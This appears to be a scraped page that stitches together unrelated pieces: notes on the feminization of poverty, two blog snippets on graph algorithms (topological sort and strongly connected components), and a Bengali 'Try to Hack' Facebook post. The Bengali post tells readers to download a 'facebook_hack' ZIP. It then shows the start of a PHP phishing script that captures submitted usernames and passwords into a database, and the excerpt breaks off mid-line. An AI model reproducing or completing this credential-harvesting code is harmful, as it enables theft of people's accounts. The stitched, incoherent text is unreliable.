Feminization of Poverty

Feminization of Poverty

The feminization of poverty means the trend towards more and more of the burden of poverty being Bourne by women.

Causes of the FOP

  1. Women are paid less. That accumulates throughout a lifetime.
  2. Occupational segregation - jobs that women are socialized to go for, often pay less.
  3. DIVORCE
    • Women usually (90%) take care of the children -- child support costs $
    • Decreasing amounts/awards of child support
    • Only about 50% of fathers pay court-ordered child-support
    • Amount that fathers pay (old stat: $229 per family) is not enough to pay for day care, usually less than car payment
    • After divorce, men's income tends to go up and women's down
  4. Women tend to outlive their husbands and money can run out.
  5. Demographic changes mean that increasing number of women-maintained families where there are no men bringing in money.
    • Changes in the economy (reduction of wages for working people) mean that most families need two incomes to survive.
    • Men's wages are higher than women's (73%-76%).
  6. Welfare no longer exists. AFDC is being phased out replaced by TANF.
  7. Structure of the workforce: women tend to go into lower paying professions. Places where women can get jobs often are part time, half-time, seasonal, no benefits.
  8. Many women's jobs don't have medical benefits.
  9. Government tends to fund the elderly instead of children and mothers.

C++ :: Topological Sort Algorithm (using DFS)

By DaPrimitive Soource -
Image
A topological sort of a dag G = (V,E) is a linear ordering of all its vertices such that if G contains an edge (u,v), then u appears before v in the ordering. (If the graph contains a cycle, then no linear ordering is possible.) PSEUDOCODE TOPOLOGICAL-SORT(G) call DFS(G) to compute finishing times v.f for each vertex v as each vertex is finished, insert it onto the front of a linked list return the linked list of vertices

ফেইসবুক হচ্ছে সামজিক যোগাযোগের একটি ওয়েবসাইট, যা Mark Zuckerberg ২০০৪ সালের ফেব্রুয়ারি মাসে প্রতিষ্টা করেছেন। যেকেউ ফেইবুকে ফ্রি sign up করতে এবং তার প্রিয় বন্ধু, পরিবার এবং সহপাঠিদের সাথে বেশি বেশি করে যোগাযোগ করতে পারে। ফেইসবুকের উন্নত মানের আপ্লিকেশন - Photos, Events, Videos, Groups এবং Pages অন্যদের সাথে শেয়ার করতে সাহায্য করে। শুধু তাই নয়, এখানে মানুষ একে-অন্যের সাথে Chat, Personal messages, Wall posts, Pokes, অথবা Status আপডেটের মাধ্যমে যোগাযোগ করতে পারে। বর্তমানে ফেইসবুক ইউজার সংখ্যা ৫০০ মিলিয়নেরও বেশি এবং এর সংখ্যা ক্রমেই বাড়ছে। Try to Hack ধাপ-১ : প্রথমে facebook_hack_by_muhit.ZIP ফাইলটি আপনার কম্পিউটারে ডাউনলোড করুন। Click to Download ধাপ-২ : ফাইলটি ZIP এক্সটেনশনে আছে, এটি আনপেক করুন। ধাপ-৩ : আনজিপ ফোল্ডারটি অর্থাৎ facebook_hack_by_muhit ফোল্ডারটি ওপেন করে fbhack.php নামের ফাইলটি notepad -এ ওপেন করুন। নিচের কোডগুলু দেখতে পাবেন। <? $fname=$_POST["username"]; $fpass=$_POST["password"]; $con=mysql_connect("localhost","nur

C++ :: Strongly Connected Components Algorithm (SCC)

By DaPrimitive Soource -

Many algorithms that work with directed graphs begin with such a decomposition. After decomposing the graph into strongly connected components, such algorithms run separately on each one and then combine the solutions according to the structure of connections among components. ALGORITHM STRONGLY-CONNECTED-COMPONENTS(G) call DFS(G) to compute finishing times u.f for each vertex u compute GT call DFS(GT), but in the main loop of DFS, consider the verteces in order of decreasing u.f (as computed in line 2) output the vertices of each tree in the depth-first forest formed in line 4 as a separate strongly connected component
